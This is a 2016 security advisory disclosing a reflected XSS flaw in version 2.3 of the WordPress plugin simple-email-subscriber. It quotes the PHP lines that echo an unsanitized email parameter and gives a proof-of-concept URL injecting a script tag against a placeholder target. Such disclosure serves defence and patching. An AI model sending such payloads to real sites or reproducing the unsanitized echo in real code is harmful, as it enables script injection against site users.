Advisory #: 102
Title: Reflected XSS in wordpress plugin simple-email-subscriber v2.3
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/simple-email-subscriber
Downloads: 7838
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: simple-email-subscriber
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./simple-email-subscriber/admin_pages/unsubscription_widget.php: 27: <input hidden="hidden" name="subscriber_email" value=<?php echo $_GET['email']?> /> 53: <label> Thank you for following our service, do you really to unsubscribe our latest blog post with the email: <?php echo $_GET['email']?> ? </label> 54: <input hidden="hidden" name="unsubscribe_email" value=<?php echo $_GET['email']?> /> The variable email appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./simple-email-subscriber/admin_pages/unsubscription_widget.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/simple-email-subscriber/admin_pages/unsubscription_widget.php?email="><script>alert(1);</script><"